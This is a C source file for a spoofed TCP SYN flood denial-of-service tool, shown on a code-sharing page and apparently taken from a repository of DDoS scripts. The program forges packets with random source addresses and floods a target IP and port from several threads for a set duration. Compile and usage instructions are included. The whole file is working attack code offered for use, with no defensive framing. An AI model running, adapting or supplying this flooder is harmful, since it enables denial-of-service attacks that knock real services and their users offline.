Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/syn.c
4565 views
1
/*
2
Compile:
3
apt-get update
4
apt-get install gcc
5
gcc ssyn.c -pthread -o ssyn
6
Usage: ./ssyn ip port time
7
*/
8
#include <stdio.h>
9
#include <stdlib.h>
10
#include <netinet/tcp.h>
11
#include <netinet/ip.h>
12
#include <pthread.h>
13
#include <errno.h>
14
15
#define THREADS 5
16
17
18
typedef struct pthread_param
19
{
20
int argc;
21
char **argv;
22
};
23
24
typedef struct pseudo_header
25
{
26
unsigned int source_address;
27
unsigned int dest_address;
28
unsigned char placeholder;
29
unsigned char protocol;
30
unsigned short tcp_length;
31
struct tcphdr tcp;
32
};
33
34
/* Thanks for unknown author, this saves me some time */
35
unsigned short csum(unsigned short *ptr,int nbytes) {
36
register long sum;
37
unsigned short oddbyte;
38
register short answer;
39
40
sum=0;
41
while(nbytes>1) {
42
sum+=*ptr++;
43
nbytes-=2;
44
}
45
if(nbytes==1) {
46
oddbyte=0;
47
*((u_char*)&oddbyte)=*(u_char*)ptr;
48
sum+=oddbyte;
49
}
50
51
sum = (sum>>16)+(sum & 0xffff);
52
sum = sum + (sum>>16);
53
answer=(short)~sum;
54
55
return(answer);
56
}
57
58
int attack(int argc, char *argv[])
59
{
60
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
61
char packet[4096];
62
struct iphdr *iph = (struct iphdr *) packet;
63
struct tcphdr *tcph = (struct tcphdr *) (packet + sizeof (struct ip));
64
struct sockaddr_in sin;
65
struct pseudo_header psh;
66
char ip[16];
67
68
sin.sin_family = AF_INET;
69
sin.sin_port = htons(atoi(argv[2]));
70
sin.sin_addr.s_addr = inet_addr (argv[1]);
71
72
sprintf(ip, "%d.%d.%d.%d\n", rand() % 223, rand() % 255, rand() % 255, rand() % 255);
73
74
memset (packet, 0, 4096);
75
76
iph->ihl = 5;
77
iph->version = 4;
78
iph->tos = 0;
79
iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
80
iph->id = htonl (54321);
81
iph->frag_off = 0;
82
iph->ttl = 255;
83
iph->protocol = IPPROTO_TCP;
84
iph->check = 0;
85
iph->saddr = inet_addr(ip);
86
iph->daddr = sin.sin_addr.s_addr;
87
88
iph->check = csum ((unsigned short *) packet, iph->tot_len >> 1);
89
90
tcph->source = htons (1234);
91
tcph->dest = htons (80);
92
tcph->seq = 0;
93
tcph->ack_seq = 0;
94
tcph->doff = 5;
95
tcph->fin=0;
96
tcph->syn=1;
97
tcph->rst=0;
98
tcph->psh=0;
99
tcph->ack=0;
100
tcph->urg=0;
101
tcph->window = htons (5840);
102
tcph->check = 0;/* We fill this in later */
103
tcph->urg_ptr = 0;
104
105
psh.source_address = inet_addr(ip);
106
psh.dest_address = sin.sin_addr.s_addr;
107
psh.placeholder = 0;
108
psh.protocol = IPPROTO_TCP;
109
psh.tcp_length = htons(20);
110
111
memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
112
113
tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
114
115
//IP_HDRINCL needed for own headers
116
int one = 1;
117
const int *val = &one;
118
int sockop = setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one));
119
if (sockop < 0)
120
{
121
perror ("[x] Error msg: ");
122
printf ("[x] Cannot set socket options: %i (are we r00t?)\n", errno);
123
// exit(-1);
124
}
125
126
if (sendto (s, packet, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
127
printf ("[x] Error sending packet\n");
128
129
close(s);
130
return 0;
131
}
132
133
void *thread_attack(void *thread_params)
134
{
135
struct pthread_param *params = thread_params;
136
137
while (1)
138
attack(params->argc, params->argv);
139
}
140
141
int main (int argc, char *argv[])
142
{
143
int i;
144
printf("Spoofed SYN Attack\n");
145
146
srand(time(0));
147
148
if (argc != 4)
149
{
150
printf("Usage: %s <destip> <destport> <time in seconds>\n", argv[0]);
151
return -1;
152
}
153
154
pthread_t ssyn_attack[THREADS];
155
156
struct pthread_param params;
157
params.argc = argc;
158
params.argv = argv;
159
160
for (i = 0; i < THREADS; i++)
161
pthread_create( &ssyn_attack[i], NULL, thread_attack, (void*) &params);
162
163
164
printf("[*] Attacking..\n");
165
sleep(atoi(argv[3]));
166
167
return 0;
168
169
}
170